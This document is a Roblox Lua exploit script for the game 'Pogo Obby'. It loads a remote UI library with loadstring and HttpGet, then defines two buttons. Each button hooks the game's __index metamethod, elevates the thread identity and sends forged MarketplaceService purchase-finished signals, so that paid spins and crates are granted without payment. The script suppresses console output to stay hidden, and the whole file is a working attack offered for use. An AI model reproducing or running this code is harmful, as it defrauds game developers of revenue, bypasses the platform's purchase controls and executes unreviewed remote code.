local Library = loadstring(Game:HttpGet("https://[Log in to view URL]"))()

local PhantomForcesWindow = Library:NewWindow("Ixurt Hub👅")

local KillingCheats = PhantomForcesWindow:NewSection("Pogo Obby")

KillingCheats:CreateButton("5 Spins!", function()
    local LOAD_TIME = tick()

    local queueonteleport = queue_on_teleport or queueonteleport
    local setclipboard = toclipboard or setrbxclipboard or setclipboard
    local clonefunction = clonefunc or clonefunction
    local setthreadidentity = set_thread_identity or setthreadcaps or setthreadidentity
    local firetouchinterests = fire_touch_interests or firetouchinterests

    if getnamecallmethod then
        local getnamecallmethod = get_namecall_method or getnamecallmethod
    end

    -- // cloneref function for exploits that don't support it
    local a = Instance.new("Part")
    for b, c in pairs(getreg()) do
        if type(c) == "table" and #c then
            if rawget(c, "__mode") == "kvs" then
                for d, e in pairs(c) do
                    if e == a then
                        getgenv().InstanceList = c
                        break
                    end
                end
            end
        end
    end

    local f = {}
    function f.invalidate(g)
        if not InstanceList then
            return
        end
        for b, c in pairs(InstanceList) do
            if c == g then
                InstanceList[b] = nil
                return g
            end
        end
    end

    if not cloneref then
        getgenv().cloneref = f.invalidate
    end

    getrenv().Visit = cloneref(game:GetService("Visit"))
    getrenv().MarketplaceService = cloneref(game:GetService("MarketplaceService"))
    getrenv().HttpRbxApiService = cloneref(game:GetService("HttpRbxApiService"))
    local CoreGui = cloneref(game:GetService("CoreGui"))
    local Players = cloneref(game:GetService("Players"))

    task.wait(0.25)

    -- // Define stealth_call function for executing custom scripts
    getgenv().stealth_call = function(script)
        getrenv()._set = clonefunction(setthreadidentity)
        local old
        old =
            hookmetamethod(
            game,
            "__index",
            function(a, b)
                task.spawn(
                    function()
                        _set(7)
                        task.wait(0.1)
                        local went, error =
                            pcall(
                            function()
                                loadstring(script)()
                            end
                        )
                        -- Removed the print(went, error) to avoid console output
                        if went then
                            local check = Instance.new("LocalScript")
                            check.Parent = Visit
                        end
                    end
                )
                hookmetamethod(game, "__index", old)
                return old(a, b)
            end
        )
    end

    -- // Function to simulate product purchase
    local function simulateProductPurchase(productIds)
        for _, productId in ipairs(productIds) do
            pcall(function()
                -- Correctly format the signal string with the product ID and player info
                local signal = string.format(
                    "MarketplaceService:SignalPromptProductPurchaseFinished(game.Players.LocalPlayer.UserId, %d, true)",
                    productId
                )
                -- Call the stealth function with the correct signal
                stealth_call(signal)
            end)
            task.wait(0.2) -- Delay between each purchase signal
        end
    end

    -- // Define product IDs you want to simulate purchases for
    local productIds = {1865219301} -- Replace with your specific Product IDs

    -- // Spawn the function to simulate the product purchase
    task.spawn(function()
        simulateProductPurchase(productIds)
        pcall(function()
            -- Handle message destruction or cleanup here
            message:Destroy()
        end)
    end)
end)

KillingCheats:CreateButton("OP Crates!", function()
local LOAD_TIME = tick()

    local queueonteleport = queue_on_teleport or queueonteleport
    local setclipboard = toclipboard or setrbxclipboard or setclipboard
    local clonefunction = clonefunc or clonefunction
    local setthreadidentity = set_thread_identity or setthreadcaps or setthreadidentity
    local firetouchinterests = fire_touch_interests or firetouchinterests

    if getnamecallmethod then
        local getnamecallmethod = get_namecall_method or getnamecallmethod
    end

    -- // cloneref function for exploits that don't support it
    local a = Instance.new("Part")
    for b, c in pairs(getreg()) do
        if type(c) == "table" and #c then
            if rawget(c, "__mode") == "kvs" then
                for d, e in pairs(c) do
                    if e == a then
                        getgenv().InstanceList = c
                        break
                    end
                end
            end
        end
    end

    local f = {}
    function f.invalidate(g)
        if not InstanceList then
            return
        end
        for b, c in pairs(InstanceList) do
            if c == g then
                InstanceList[b] = nil
                return g
            end
        end
    end

    if not cloneref then
        getgenv().cloneref = f.invalidate
    end

    getrenv().Visit = cloneref(game:GetService("Visit"))
    getrenv().MarketplaceService = cloneref(game:GetService("MarketplaceService"))
    getrenv().HttpRbxApiService = cloneref(game:GetService("HttpRbxApiService"))
    local CoreGui = cloneref(game:GetService("CoreGui"))
    local Players = cloneref(game:GetService("Players"))

    task.wait(0.25)

    -- // Define stealth_call function for executing custom scripts
    getgenv().stealth_call = function(script)
        getrenv()._set = clonefunction(setthreadidentity)
        local old
        old =
            hookmetamethod(
            game,
            "__index",
            function(a, b)
                task.spawn(
                    function()
                        _set(7)
                        task.wait(0.1)
                        local went, error =
                            pcall(
                            function()
                                loadstring(script)()
                            end
                        )
                        -- Removed the print(went, error) to avoid console output
                        if went then
                            local check = Instance.new("LocalScript")
                            check.Parent = Visit
                        end
                    end
                )
                hookmetamethod(game, "__index", old)
                return old(a, b)
            end
        )
    end

    -- // Function to simulate product purchase
    local function simulateProductPurchase(productIds)
        for _, productId in ipairs(productIds) do
            pcall(function()
                -- Correctly format the signal string with the product ID and player info
                local signal = string.format(
                    "MarketplaceService:SignalPromptProductPurchaseFinished(game.Players.LocalPlayer.UserId, %d, true)",
                    productId
                )
                -- Call the stealth function with the correct signal
                stealth_call(signal)
            end)
            task.wait(0.2) -- Delay between each purchase signal
        end
    end

    -- // Define product IDs you want to simulate purchases for
    local productIds = {1871127052} -- Replace with your specific Product IDs

    -- // Spawn the function to simulate the product purchase
    task.spawn(function()
        simulateProductPurchase(productIds)
        pcall(function()
            -- Handle message destruction or cleanup here
            message:Destroy()
        end)
    end)
end)
 

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